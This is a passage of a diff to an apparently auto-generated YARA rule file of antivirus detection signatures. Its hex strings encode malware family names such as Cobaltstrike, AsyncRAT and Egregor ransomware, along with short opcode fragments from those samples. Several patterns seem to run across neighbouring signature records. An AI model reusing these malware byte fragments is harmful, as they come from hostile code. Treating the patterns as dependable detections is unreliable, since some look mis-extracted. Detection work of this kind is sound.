2f 43 6f 6e 76 61 67 65 6e 74 2e 41 42 21 4d 54 42 00 01 00 1f 01 0f be 02 83 f0 34 8b 4d f8 03 4d fc 88 01 eb d8 ba 01 00 00 00 c1 e2 03 8b 45 f8 c6 04 10 00 00 00 78 4f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37824,7 +38964,17 @@ rule _InfrastructureShared_3661{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3662{ +rule _InfrastructureShared_3772{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 21 4d 54 42 00 01 00 21 01 8b 46 04 03 c1 8b 4d b4 03 d0 41 8b 45 b4 83 e0 03 89 4d b4 8a 44 05 d0 30 02 33 c0 8b 55 b8 3b cb 00 00 78 4f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37834,7 +38984,7 @@ rule _InfrastructureShared_3662{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3663{ +rule _InfrastructureShared_3774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37844,17 +38994,17 @@ rule _InfrastructureShared_3663{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3664{ +rule _InfrastructureShared_3775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 42 21 4d 54 42 00 01 00 24 01 c0 a8 e2 76 09 00 46 04 15 1f e4 10 b4 dd 01 82 3a 52 eb 20 14 ef d8 be 2c 0e 8d 42 5c 0f a0 dc fa 80 c9 4f 00 00 78 4f } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 49 53 21 4d 54 42 00 01 00 1c 03 45 8b d0 49 8b c1 49 ff c1 83 e0 90 01 01 8a 04 08 30 02 48 ff c2 49 ff ca 75 90 00 00 00 78 4f } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3665{ +rule _InfrastructureShared_3776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37864,7 +39014,7 @@ rule _InfrastructureShared_3665{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_3666{ +rule _InfrastructureShared_3777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37874,7 +39024,7 @@ rule _InfrastructureShared_3666{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3667{ +rule _InfrastructureShared_3778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37884,7 +39034,7 @@ rule _InfrastructureShared_3667{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3668{ +rule _InfrastructureShared_3779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37895,7 +39045,7 @@ rule _InfrastructureShared_3668{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*19770) >=1 } -rule _InfrastructureShared_3669{ +rule _InfrastructureShared_3780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37906,7 +39056,7 @@ rule _InfrastructureShared_3669{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*21306) >=1 } -rule _InfrastructureShared_3670{ +rule _InfrastructureShared_3781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37917,7 +39067,7 @@ rule _InfrastructureShared_3670{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*21818) >=1 } -rule _InfrastructureShared_3671{ +rule _InfrastructureShared_3782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37928,7 +39078,7 @@ rule _InfrastructureShared_3671{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22074) >=1 } -rule _InfrastructureShared_3672{ +rule _InfrastructureShared_3783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37939,30 +39089,40 @@ rule _InfrastructureShared_3672{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22074) >=1 } -rule _InfrastructureShared_3673{ +rule _InfrastructureShared_3784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 36 00 01 00 06 01 2e 65 78 65 00 3f 01 00 14 03 55 8b ec 83 ec 90 01 01 8b 90 01 04 00 8b 90 01 04 00 90 00 00 00 78 4f 00 00 01 00 01 00 03 00 21 23 48 53 54 52 } //18467 - $a_70_1 = {72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c 6f 77 66 69 5f 33 32 00 01 00 06 01 83 c4 20 c9 61 e9 01 00 06 01 83 c4 40 c9 61 e9 01 00 0d 03 5f 5e 5b c9 e9 90 09 03 00 83 c4 90 00 00 00 78 4f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 51 21 4d 54 42 00 02 00 23 01 11 04 09 07 18 6f 45 00 00 0a 1f 10 } //25914 + $a_70_1 = {72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c 6f 77 66 69 5f 33 32 00 01 00 06 01 83 c4 20 c9 61 e9 01 00 06 01 83 c4 40 c9 61 e9 01 00 0d 03 5f 5e 5b c9 e9 90 09 03 00 83 c4 90 00 00 00 78 4f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 57 21 4d 54 42 00 02 00 1e 03 00 07 08 09 93 66 d1 } //25914 condition: ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25914) >=1 } -rule _InfrastructureShared_3674{ +rule _InfrastructureShared_3785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 65 78 70 69 72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c 6f 77 66 69 5f 33 32 00 01 00 06 01 83 c4 20 c9 61 e9 01 00 06 01 83 c4 40 c9 61 e9 01 00 0d 03 5f 5e 5b c9 e9 90 09 03 00 83 c4 90 00 00 00 78 4f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a } //18467 - $a_6a_1 = {6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 51 21 4d 54 42 00 02 00 23 01 11 04 09 07 18 6f 45 00 00 0a 1f 10 28 46 00 00 0a 6f 47 00 00 0a 07 18 58 0b 07 09 6f 48 00 00 0a 32 dd 00 00 78 4f 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 51 57 00 } //29268 - $a_01_2 = {6a 68 68 49 7b 32 48 50 52 e8 } //1 + $a_6a_1 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 57 21 4d 54 42 00 02 00 1e 03 00 07 08 09 93 66 d1 90 01 05 26 00 09 17 58 0d 09 08 8e 69 fe 04 13 04 11 04 2d e2 90 00 00 00 78 4f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 53 51 21 4d 54 42 00 02 00 23 01 11 04 09 } //29268 + $a_45_2 = {00 0a 1f 10 28 46 00 00 0a 6f 47 00 00 0a 07 18 58 0b 07 09 6f 48 00 00 0a 32 dd 00 00 78 4f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 4c 4d 44 21 4d 54 42 00 02 00 1a 03 89 d9 83 e1 90 01 01 46 0f b6 3c 33 44 32 7c 0d 90 01 01 48 3b 5d 00 75 90 00 00 } //6151 condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_01_2 & 1)*1) >=1 + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_45_2 & 1)*6151) >=1 } -rule _InfrastructureShared_3675{ +rule _InfrastructureShared_3786{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 57 21 4d 54 42 00 02 00 1e 03 00 07 08 09 93 66 d1 90 01 05 26 00 09 17 58 0d 09 08 8e 69 fe 04 13 04 11 04 2d e2 90 00 00 00 78 4f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -37972,7 +39132,17 @@ rule _InfrastructureShared_3675{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3676{ +rule _InfrastructureShared_3788{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 4c 4d 44 21 4d 54 42 00 02 00 1a 03 89 d9 83 e1 90 01 01 46 0f b6 3c 33 44 32 7c 0d 90 01 01 48 3b 5d 00 75 90 00 00 00 78 4f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37983,18 +39153,29 @@ rule _InfrastructureShared_3676{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=2 } -rule _InfrastructureShared_3677{ +rule _InfrastructureShared_3790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 48 21 64 68 61 00 01 00 08 01 79 73 6f 73 70 61 74 68 01 00 0a 01 70 61 79 6c 6f 61 64 78 6d 6c 00 00 78 4f 00 00 02 00 02 00 02 } //16675 + $a_41_1 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 70 6c 61 74 65 53 68 65 6c 6c 2e 41 21 64 68 61 00 01 } //8448 + condition: + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=2 + +} +rule _InfrastructureShared_3791{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 70 6c 61 74 65 53 68 65 6c 6c 2e 41 21 64 68 61 00 01 00 0d 01 73 63 72 69 70 74 5f 63 6f 64 65 5f 6d 01 00 0c 01 52 75 6e 50 61 72 53 63 72 69 70 74 00 00 78 4f 00 00 02 00 02 00 02 } //16675 $a_41_1 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 75 67 6d 61 2e 41 41 21 4d } //8448 F:TrojanDownloader:Win32/Rugma.AA!M condition: ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=2 } -rule _InfrastructureShared_3678{ +rule _InfrastructureShared_3792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38005,7 +39186,7 @@ rule _InfrastructureShared_3678{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_3679{ +rule _InfrastructureShared_3793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38016,7 +39197,7 @@ rule _InfrastructureShared_3679{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562) >=2 } -rule _InfrastructureShared_3680{ +rule _InfrastructureShared_3794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38027,7 +39208,7 @@ rule _InfrastructureShared_3680{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*14953) >=2 } -rule _InfrastructureShared_3681{ +rule _InfrastructureShared_3795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38038,7 +39219,7 @@ rule _InfrastructureShared_3681{ ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*28020) >=2 } -rule _InfrastructureShared_3682{ +rule _InfrastructureShared_3796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -38051,7 +39232,7 @@ rule _InfrastructureShared_3682{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448+(#a_2a_2 & 1)*26730+(#a_65_3 & 1)*29283) >=2 } -rule _InfrastructureShared_3683{ +rule _InfrastructureShared_3797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -38063,7 +39244,7 @@ rule _InfrastructureShared_3683{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448+(#a_73_2 & 1)*21622) >=3 } -rule _InfrastructureShared_3684{ +rule _InfrastructureShared_3798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -38075,7 +39256,7 @@ rule _InfrastructureShared_3684{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448+(#a_6d_2 & 1)*28486) >=3 } -rule _InfrastructureShared_3685{ +rule _InfrastructureShared_3799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -38086,7 +39267,7 @@ rule _InfrastructureShared_3685{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*8448) >=3 } -rule _InfrastructureShared_3686{ +rule _InfrastructureShared_3800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -38098,19 +39279,19 @@ rule _InfrastructureShared_3686{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22330+(#a_00_2 & 1)*66) >=3 } -rule _InfrastructureShared_3687{ +rule _InfrastructureShared_3801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4a 50 72 6f 78 79 00 01 00 0b 00 79 61 68 6f 6f 2e 63 6f 2e 6a 70 01 00 08 01 35 65 37 65 38 31 30 30 01 00 14 01 72 00 6b 00 2e 00 70 00 72 00 6f 00 78 00 79 00 2e 00 74 00 00 00 78 4f 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a } //18467 $a_6a_1 = {6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 41 52 41 21 4d 54 42 00 04 00 20 01 d3 48 89 c7 45 8b 44 24 54 48 89 f9 48 89 f2 e8 a2 45 06 00 41 0f b7 44 24 14 41 0f b7 4c 24 06 00 00 78 4f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 45 67 72 65 67 6f 72 43 72 79 70 74 6f 72 2e 54 41 00 05 00 } //29268 - $a_45_2 = {03 45 e8 89 45 fc 8b 45 c0 33 45 fc c1 e0 90 01 01 8b 4d c0 33 4d fc c1 e9 90 00 00 00 78 4f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 41 21 4d 54 42 00 05 00 20 01 02 28 40 00 00 06 25 03 28 6a 00 00 06 6f 3e 00 00 06 03 6f 5c 00 00 06 09 17 58 0d 09 08 32 e0 00 00 78 4f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //798 + $a_45_2 = {03 45 e8 89 45 fc 8b 45 c0 33 45 fc c1 e0 90 01 01 8b 4d c0 33 4d fc c1 e9 90 00 00 00 78 4f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 41 21 4d 54 42 00 05 00 20 01 02 28 40 00 00 06 25 03 28 6a 00 00 06 6f 3e 00 00 06 03 6f 5c 00 00 06 09 17 58 0d 09 08 32 e0 00 00 78 4f 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //798 condition: ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_45_2 & 1)*798) >=3 } -rule _InfrastructureShared_3688{ +rule _InfrastructureShared_3802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -38120,7 +39301,7 @@ rule _InfrastructureShared_3688{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_3689{ +rule _InfrastructureShared_3803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -38130,27 +39311,17 @@ rule _InfrastructureShared_3689{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3690{ +rule _InfrastructureShared_3804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 41 21 4d 54 42 00 05 00 20 01 02 28 40 00 00 06 25 03 28 6a 00 00 06 6f 3e 00 00 06 03 6f 5c 00 00 06 09 17 58 0d 09 08 32 e0 00 00 78 4f 00 00 05 00 05 00 01 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 41 21 4d 54 42 00 05 00 20 01 02 28 40 00 00 06 25 03 28 6a 00 00 06 6f 3e 00 00 06 03 6f 5c 00 00 06 09 17 58 0d 09 08 32 e0 00 00 78 4f 00 00 0a 00 0a 00 01 } //16675 condition: ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3691{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 70 66 65 72 2e 45 41 48 52 21 4d 54 42 00 05 00 20 02 8b 03 8b 8d 00 ef ff ff 8a 5c 08 03 88 9d 04 ef ff ff c0 e3 02 81 3d 90 01 04 09 0d 00 00 90 00 00 00 78 4f 00 00 0a 00 0a 00 01 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_3692{ +rule _InfrastructureShared_3805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -38160,17 +39331,27 @@ rule _InfrastructureShared_3692{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3693{ +rule _InfrastructureShared_3806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 6f 6b 65 4c 6f 61 64 65 72 2e 42 41 21 4d 54 42 00 0a 00 1c 01 8b c6 c1 e8 05 89 45 f8 8b 45 e4 01 45 f8 8b 4d f0 c1 e6 04 03 75 d8 8d 14 0b 33 f2 00 00 78 4f 00 00 0a 00 0a 00 01 00 21 23 64 6f 5f 76 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 6f 6b 65 4c 6f 61 64 65 72 2e 42 41 21 4d 54 42 00 0a 00 1c 01 8b c6 c1 e8 05 89 45 f8 8b 45 e4 01 45 f8 8b 4d f0 c1 e6 04 03 75 d8 8d 14 0b 33 f2 00 00 78 4f 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3694{ +rule _InfrastructureShared_3807{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 47 5a 4b 21 4d 54 42 00 0a 00 23 01 6f 6e 66 69 67 74 68 72 65 61 64 6c 6f 63 61 6c 65 00 41 44 56 41 50 49 33 32 2e 64 6c 6c 00 00 00 43 72 00 00 78 4f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_3808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -38180,7 +39361,7 @@ rule _InfrastructureShared_3694{ ((#a_5f_0 & 1)*25635) >=10 } -rule _InfrastructureShared_3695{ +rule _InfrastructureShared_3809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -38191,18 +39372,41 @@ rule _InfrastructureShared_3695{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*8448) >=10 } -rule _InfrastructureShared_3696{ +rule _InfrastructureShared_3810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 62 61 72 2e 47 31 00 0a 00 1a 03 21 00 80 52 3b 00 80 f0 c8 04 00 80 64 1d 1f 00 80 ad 90 01 04 cc 2c fe 90 00 01 00 08 01 71 6a 42 41 68 33 73 6b 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a } //18467 - $a_6a_1 = {6e 3a 57 69 6e 33 32 2f 44 65 6d 61 6e 64 48 75 6e 74 2e 41 21 64 68 61 00 64 00 1f 03 48 8b 4c 24 20 0f b7 04 41 35 90 01 02 00 00 8b 90 01 02 48 8b 54 24 20 66 89 04 4a eb 90 00 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 47 72 75 62 50 75 6e 74 2e 41 21 64 68 } //29268 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 62 61 72 2e 47 31 00 0a 00 1a 03 21 00 80 52 3b 00 80 f0 c8 04 00 80 64 1d 1f 00 80 ad 90 01 04 cc 2c fe 90 00 01 00 08 01 71 6a 42 41 68 33 73 6b 00 00 78 4f 00 00 0b 00 0b 00 03 00 21 23 48 53 54 52 } //18467 + $a_49_1 = {2f 54 68 72 65 61 64 69 6e 67 2e 50 52 21 41 4d 54 42 00 0a 00 10 81 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 06 81 01 54 68 72 65 61 64 01 00 04 81 01 54 61 73 6b 00 00 78 4f 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //19770 condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268) >=11 + ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*19770) >=11 } -rule _InfrastructureShared_3697{ +rule _InfrastructureShared_3811{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 54 68 72 65 61 64 69 6e 67 2e 50 52 21 41 4d 54 42 00 0a 00 10 81 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 06 81 01 54 68 72 65 61 64 01 00 04 81 01 54 61 73 6b 00 00 78 4f 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a } //18467 + $a_6a_1 = {6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 52 21 4d 54 42 00 0f 00 0f 03 95 e0 95 11 3e 20 90 01 04 95 5a 11 3e 90 00 0a 00 0e 03 95 5f 11 3e 20 90 01 04 95 61 59 80 90 00 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6d 61 6e 64 48 75 6e 74 2e 41 21 64 68 61 00 64 00 1f } //29268 + $a_4c_2 = {20 0f b7 04 41 35 90 01 02 00 00 8b 90 01 02 48 8b 54 24 20 66 89 04 4a eb 90 00 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 47 72 75 62 50 75 6e 74 2e 41 21 64 68 61 00 64 00 1a 43 8a 09 88 0c 10 8b 90 01 02 33 d2 6a 04 59 f7 f1 a1 90 01 04 0f be 04 10 90 00 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 } //18435 + condition: + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_4c_2 & 1)*18435) >=11 + +} +rule _InfrastructureShared_3812{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 52 21 4d 54 42 00 0f 00 0f 03 95 e0 95 11 3e 20 90 01 04 95 5a 11 3e 90 00 0a 00 0e 03 95 5f 11 3e 20 90 01 04 95 61 59 80 90 00 00 00 78 4f } //21539 + $a_00_1 = {64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6d 61 6e 64 48 75 6e 74 2e 41 21 64 68 61 00 64 00 1f 03 48 8b 4c 24 20 0f b7 04 41 35 90 01 02 00 00 8b 90 01 02 48 8b 54 24 20 66 89 04 4a eb 90 00 00 00 78 4f 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0) >=25 + +} +rule _InfrastructureShared_3813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -38212,7 +39416,7 @@ rule _InfrastructureShared_3697{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3698{ +rule _InfrastructureShared_3814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -38222,7 +39426,7 @@ rule _InfrastructureShared_3698{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3699{ +rule _InfrastructureShared_3815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -38232,7 +39436,7 @@ rule _InfrastructureShared_3699{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3700{ +rule _InfrastructureShared_3816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -38242,7 +39446,7 @@ rule _InfrastructureShared_3700{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3701{ +rule _InfrastructureShared_3817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -38252,7 +39456,7 @@ rule _InfrastructureShared_3701{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3702{ +rule _InfrastructureShared_3818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ 